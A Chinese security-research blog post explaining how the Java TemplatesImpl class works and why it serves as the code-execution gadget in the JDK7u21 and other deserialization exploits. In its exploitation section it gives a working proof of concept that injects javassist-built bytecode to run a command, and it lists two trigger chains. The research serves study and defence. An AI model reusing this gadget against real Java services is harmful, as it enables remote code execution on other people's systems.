【技術分享】由JDK7u21反序列化漏洞引起的對TemplatesImpl的深入學習

最近在分析JDK7u21反序列化漏洞,對命令執行載體com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的利用點不太明白。除了JDK7u21,TemplatesImpl在很多反序列化漏洞中都被利用了,所以想要深入探究下它到底是做什么用的,有什么特性被利用。接下來本文將從這兩個問題進行探索學習。
了解Templateslmpl
1、XSLT
在開始前首先了解下XSLT:
XSL 指擴展樣式表語言(EXtensible Stylesheet Language), 它是一個 XML 文檔的樣式表語言,類似CSS之于HTML;
XSLT(Extensible Stylesheet Language Transformations)是XSL轉換語言,它是XSL的一部分,用于轉換 XML 文檔,可將一種 XML 文檔轉換為另外一種 XML 文檔,如XHTML;
簡化版XSLT實例:
我們從一個例子來了解下XSLT,將XML轉為HTML格式展示。
XML:cdcatalog.xml,保存了文章數據包括文章標題、作者等。
<catalog> <cd> <title>EmpireBurlesquetitle> <artist>BobDylanartist> <country>USAcountry> <company>Columbiacompany> <price>10.90price> <year>1985year> cd> <cd> <title>Hideyour hearttitle> <artist>BonnieTylerartist> <country>UKcountry> <company>CBSRecordscompany> <price>9.90price> <year>1988year> cd>catalog>
XSL:cdcatalog.xsl
XSL 樣式表的根元素是 或 ;
元素定義了輸出文檔的格式;
XSL 樣式表由一個或多個被稱為模板(template)的規則組成, 元素用于構建模板。
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:outputmethod="html" version="4.0" encoding="iso-8859-1"indent="yes"/> <xsl:templatematch="/"> <html> <body> <h2>My CD Collectionh2> <table border="1"> <tr> <th style="text-align:left">Titleth> <th style="text-align:left">Artistth> tr> <xsl:for-each select="catalog/cd"> <tr> <td><xsl:value-ofselect="title"/>td> <td><xsl:value-ofselect="artist"/>td> tr> xsl:for-each> table> body> html> xsl:template>xsl:stylesheet>
轉換結果如下,讀取xml的元素并展示為html格式:

2、javax.xml.transform.Templates
TemplatesImpl實現了javax.xml.transform.Templates接口,javax.xml.transform屬于JAXP(Java API forXMLProcessing,提供解析和驗證XML文檔的能力),是一個處理XSL轉換(XSLT)的包,定義了用于處理轉換指令以及執行從源到結果的轉換的API。javax.xml.transform.Templates是用來處理XSLT模板的,它只定義了兩個方法:

3、XSLTC和Translets
TemplatesImpl在com.sun.org.apache.xalan.internal.xsltc包下,xalan是Apache的一個項目,是XSLT處理器。
XSLTC指xslt compiler或xslt compiling,可以把XSLT文件編譯成一個或者多個Java的class文件,通過這種方式可以加速xsl的轉換速度。這些class或者class的集合被稱為Translets,他們被轉換時自動會繼承AbstractTranslet。
利用Xalan命令行工具(注意使用jdk1.8以前版本)將XSLT文件轉為class:
javacom.sun.org.apache.xalan.internal.xsltc.cmdline.Compile cdcatalog.xsl
執行命令后會在文件夾下生成一個class文件:
4、TemplatesImpl類解讀
TemplatesImpl主要是通過獲取Translet的Class或字節碼來創建 XSLTC 模板對象。根據上面第3點的學習這里不難理解,XSLTC生成的Translets,需要轉為模板對象,可以用TemplatesImpl定義和處理。
public final class TemplatesImpl implementsTemplates, Serializable
4.1、靜態內部類TransletClassLoader:
TemplatesImpl通過獲取Translet的Class或字節碼來創建 XSLTC 模板對象,需要在運行時加載class,因此其在內部自定義了一個靜態類TransletClassLoader用來加載Translet的Class對象,并且重載了loadClass和defineClass方法。
我們知道ClassLoader的loadClass通過一個類名全稱返回一個Class類的實例;
而defineClass通過接收一組字節,然后將其具體化為一個Class類的實例,它一般從磁盤上加載一個文件,然后將文件的字節碼傳遞給JVM,通過JVM(native 方法)對于Class的定義將其實例化為一個Class類的實例。
static final class TransletClassLoader extendsClassLoader { privatefinal Map<String,Class> _loadedExternalExtensionFunctions; TransletClassLoader(ClassLoaderparent) { super(parent); _loadedExternalExtensionFunctions = null; } TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) { super(parent); _loadedExternalExtensionFunctions = mapEF; } publicClass loadClass(String name) throws ClassNotFoundException { Class ret = null; // 當SecurityManager未設置且FSP關閉時,_loaddexternalextensionfunctions將為空 if (_loadedExternalExtensionFunctions != null) { ret =_loadedExternalExtensionFunctions.get(name); } if (ret == null) { // 調用super.loadClass,通過類全稱獲取Class類實例 ret = super.loadClass(name); } return ret; } //從外部類訪問protected修飾的父類方法。 ClassdefineClass(final byte[] b) { // 調用super.defineClass,通過字節碼來獲取Class類實例 return defineClass(null, b, 0, b.length); }}
4.2、屬性說明:

4.3、構造方法解析:
TemplatesImpl提供了兩個有參構造方法都是protected,如果TemplatesImpl要實例化,需要通過內部方法進行調用。
構造方法1:通過字節碼創建template對象,必須提供translet和輔助類的字節碼,以及主translet類的名稱。
protected TemplatesImpl(byte[][] bytecodes,String transletName, Properties outputProperties, int indentNumber,TransformerFactoryImpl tfactory){ _bytecodes = bytecodes; init(transletName, outputProperties, indentNumber, tfactory);}
構造方法2:通過translet類創建XSLTC模板對象。
protected TemplatesImpl(Class[]transletClasses, String transletName, Properties outputProperties, intindentNumber, TransformerFactoryImpl tfactory){ _class = transletClasses; _transletIndex = 0; init(transletName, outputProperties, indentNumber, tfactory);}
4.4、Templates接口方法實現:
首先是Templates接口的兩個方法:newTransformer和getOutputProperties,newTransformer會調用TransformerImpl有參構造方法。
// 實現JAXP's Templates.newTransformer()public synchronized Transformer newTransformer() throwsTransformerConfigurationException{ TransformerImpl transformer; //調用TransformerImpl構造函數創建一個TransformerImpl實例 transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if(_uriResolver != null) { transformer.setURIResolver(_uriResolver); } if(_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true); } returntransformer;} // 實現了JAXP的Templates.getOutputProperties()。需要實例化一個translet以獲得輸出屬性,因此我們可以實例化一個Transformer來調用它。public synchronized Properties getOutputProperties(){ try{ return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; }}
4.5、方法說明:

5、XML-XSLT-HTML在Java中的轉換實例
接下來我們看一個XML-XSLT-HTML的常規轉換例子,通過這個例子我們可以知道轉換在Java中實現的步驟。
import javax.xml.transform.*;import java.io.FileNotFoundException;import java.io.FileOutputStream; public class TestTmp { publicstatic void main(String[] args) throws TransformerException,FileNotFoundException { new TestTmp().testTransform(); } publicvoid testTransform() throws TransformerException, FileNotFoundException { /*---- 1、使用TransformFactory的newInstance方法創建一個新的實例。-------------------*/ // TransformFactory的缺省實現是com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl類 TransformerFactory oFactory = TransformerFactory.newInstance(); /*---- 2、使用TransformFactory的newTemplates方法創建一個Templates界面的實現對象。-------------------*/ //Templates的缺省實現 是org.apache.xalan.templates.StylesheetRoot Templates oTemplates = oFactory.newTemplates( //使用一個StreamSource對象來讀取一個xsl文檔 newjavax.xml.transform.stream.StreamSource("cdcatalog.xsl") ); /*---- 3、使用Templates的newTransformer方法創建一個新的Transformer。-------------------*/ //Transformer的缺省實現是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl Transformer transformer = oTemplates.newTransformer(); /*---- 4、使用Transformer進行轉換。-------------------*/ transformer.transform( //創建一個StreamSource對象來讀取atom.xml newjavax.xml.transform.stream.StreamSource("cdcatalog.xml"), //使用out作為輸出writer創建一個StreamResult輸出轉換結果。 newjavax.xml.transform.stream.StreamResult(new FileOutputStream("E:\\1.html"))); }}
執行上面代碼最終會在文件夾下生成一個1.html文件,1.html跟上述第一部分的示例轉換結果一致。
通過上面代碼,我們可以總結出一個XML-XSLT-HTML的轉換在Java中一般有以下4個步驟:
- 創建一個TransformFactory對象;
- 調用TransformFactory.newTemplates通過XSL樣式表創建一個Templates對象;
- 調用Templates.newTransformer創建一個Transformer對象;
- 最后通過Transformer.transform將源-XML文檔轉換為目標-HTML文檔。
其中需要注意的是以上接口的缺省實現都是Xalan提供的com.sun.org.apache.xalan庫內對應的實現類來創建對象。
TransformFactory.newTemplates通過XSL樣式表創建一個Templates對象,其實現主要由三個部分:
- 如果_useClasspath屬性為true,則嘗試從CLASSPATH加載文件,并使用XSL樣式表文件加載后的Class創建模板對象:調用new TemplatesImpl(new Class[]{clazz}, transletName, null,_indentNumber, this);
- 如果_autoTranslet為true,將嘗試在不編譯樣式表的情況下從translet類加載字節碼來創建對象;
- 以上兩種條件不滿足,直接創建并初始化樣式表編譯器來編譯樣式表,生成字節碼,通過字節碼創建模板對象。
被反序列化漏洞利用的特性
清楚了TemplatesImpl的方法和使用方式,接下來這部分我們探索下它跟反序列化漏洞的關系。
1、JDK7u21的TemplatesImpl利用測試
我們將JDK7u21分析poc的returntemplates;改為templates.newTransformer()進行測試。
public void testTemplate() throws Exception{ //1、通過javassist創建一個Evil類的字節碼,設置它的構造方法內部調用exec方法 ClassPool pool = ClassPool.getDefault();//ClassPool對象是一個表示class文件的CtClass對象的容器 CtClass cc = pool.makeClass("Evil");//創建Evil類 cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//設置Evil類的父類為AbstractTranslet CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//創建無參構造函數 cons.setBody("{ Runtime.getRuntime().exec(\"calc\");}");//設置無參構造函數體 cc.addConstructor(cons); byte[]byteCode = cc.toBytecode();//toBytecode得到Evil類的字節碼 byte[][]targetByteCode = new byte[][]{byteCode}; //2、創建一個TemplatesImpl對象,設置屬性_bytecodes值為Evil類的字節碼 TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes", targetByteCode);//設置_bytecodes是屬性 setFieldValue(templates, "_class", null); setFieldValue(templates, "_name", "xx"); setFieldValue(templates, "_tfactory", newTransformerFactoryImpl()); //3、調用newTransformer() templates.newTransformer();} //通過反射為obj的屬性賦值private static void setFieldValue(finalObject obj, final String fieldName, final Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value);}
調用上述testTemplate方法,最終會彈出計算器:

為什么能夠執行Runtime.getRuntime().exec(\"calc\"),關鍵點在于第3步templates.newTransformer();,接下來重點分析下。
2、newTransformer()分析:
2.1、newTransformer
根據4.4我們知道newTransformer()會調用TransformerImpl構造函數創建實例:new TransformerImpl(getTransletInstance(), _outputProperties,_indentNumber, _tfactory),getTransletInstance()會返回Translet類的實例;
2.2、getTransletInstance
getTransletInstance在一開始時對_name和_class實現進行了判斷,當_name不為null而_class是null就會調用defineTransletClasses來獲取Translet的Class對象,接著會調用newInstance實例化Translet。
//如果_name屬性為null返回Translet是nullif (_name == null) return null;// 如果_class屬性是null調用defineTransletClassesif (_class == null)defineTransletClasses();// 當屬性_class被賦值,即要轉換的樣式表class文件translet類存在,通過translet類來實例化AbstractTranslet translet =(AbstractTranslet) _class[_transletIndex].newInstance();translet.postInitialization();translet.setTemplates(this);translet.setOverrideDefaultParser(_overrideDefaultParser);translet.setAllowedProtocols(_accessExternalStylesheet);if (_auxClasses != null) { //translet需要保留對所有輔助類的引用,以防止GC收集它們 translet.setAuxiliaryClasses(_auxClasses);} return translet;
2.3、defineTransletClasses:
defineTransletClasses用來定義translet類和輔助類,會創建一個內部類TransletClassLoader的對象,通過該對象調用defineClass,根據之前4.1的分析我們知道defineClass會調用Java虛擬機的native方法生成一個Translet類的Class對象。所以到這里我們最終能夠獲取到Evil字節碼生成的Class對象,再經過2.2AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance()對Evil類進行實例化,最終能夠執行命令彈出計算器。以下是defineTransletClasses的關鍵代碼摘取:
// 字節碼未定義拋出異常if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); thrownew TransformerConfigurationException(err.toString());} //創建一個內部類TransletClassLoader的對象TransletClassLoader loader =(TransletClassLoader) //注意_tfactory.getExternalExtensionsMap()調用TransformerFactoryImpl的getExternalExtensionsMap,因此_tfactory我們要注意賦值,并且是TransformerFactoryImpl的實例 AccessController.doPrivileged(new PrivilegedAction() { public Object run() {return newTransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());}}); // 循環定義所有類,包括translet主類和它的內部類_class = new Class[classCount];for (int i = 0; i < classCount; i++) { //關鍵點 調用TransletClassLoader.defineClass通過字節碼定義類 _class[i] = loader.defineClass(_bytecodes[i]); finalClass superClass = _class[i].getSuperclass(); //通過ABSTRACT_TRANSLET判斷是否是主類 if(superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else{ _auxClasses.put(_class[i].getName(), _class[i]); }}
2.4、小結
通過前面3步的分析,執行惡意代碼需要兩個條件:一是調用defineTransletClasses獲取Evil的Class對象,二是將Class對象實例化調用構造方法。
另外我們也能明白上面的屬性為什么要被這樣賦值:
- _bytecodes被賦值為我們定義的惡意類的字節碼,該類需要繼承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet(對應2.3的代碼分析)
- _class必須為null(對應2.2的分析)
- _name必須不為null(對應2.2的分析)
- _tfactory必須是TransformerFactoryImpl實例(對應2.3的代碼分析)
3、由newTransformer()進行拓展
閱讀wEik1的分析后發現還可以拓展:
既然只要調用defineTransletClasses就能獲取指定字節碼定義的類的對象,那我們可以在TemplatesImpl類通過搜索尋找有沒有其它方法調用defineTransletClasses。搜索后發現一共有3個方法(包括getTransletInstance)調用defineTransletClasses:
private Translet getTransletInstance()public synchronized int getTransletIndex()private synchronized Class[] getTransletClasses()
經過第2.4小結我們可以排除getTransletIndex和getTransletClasses,因為它們僅調用了getTransletInstance并沒有進行實例化。那我們將目光聚集在getTransletInstance,它在內部除了被newTransformer()調用,也沒有其它直接被調用的情況了,因此也被排除。本來到這里應該結束了,但我們不能忽略一點-newTransformer的調用,可以考慮通過newTransformer的調用來進行利用。newTransformer在內部有被getOutputProperties調用,getOutputProperties是public方法,并且getOutputProperties在內部不再被調用,因此總結下來共2個鏈可以實現惡意類的實例化:
newTransformer()->getTransletInstance()->defineTransletClasses()getOutputProperties()->newTransformer()->getTransletInstance()->defineTransletClasses()
總結與思考
通過本次學習我們了解了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl本身是用來進行xsl轉換的,主要通過XSLTC接收xsl文檔生成的Translets類的字節碼來創建 XSLTC模板對象。那么由于需要處理字節碼,其在內部定義了類加載器并重載了defineClass,defineClass能夠返回字節碼的Class對象方便后續的實例化,而這也是我們能夠利用它執行惡意代碼的關鍵。
通過構造惡意類的字節碼并使用defineClass返回其Class對象,實例化后即可執行我們想要的結果。繼續思考,我們可以想到Java是否還存在類似的類(內部定義了類加載器并重載了defineClass)能被我們利用,這里不展開了可自行探索。
參考鏈接
https://xalan.apache.org/xalan-j/apidocs/org/apache/xalan/xsltc/trax/TemplatesImpl.html
https://www.runoob.com/xsl/xsl-transformation.html
https://docs.oracle.com/javase/7/docs/api/javax/xml/transform/Templates.html
https://blog.weik1.top/2021/01/15/TemplatesImpl%E5%88%A9%E7%94%A8%E9%93%BE/
http://terpconnect.umd.edu/~zhangx/xml/html/xmlprog/xalan/xsltc.html
https://blog.csdn.net/z_dy1/article/details/104427617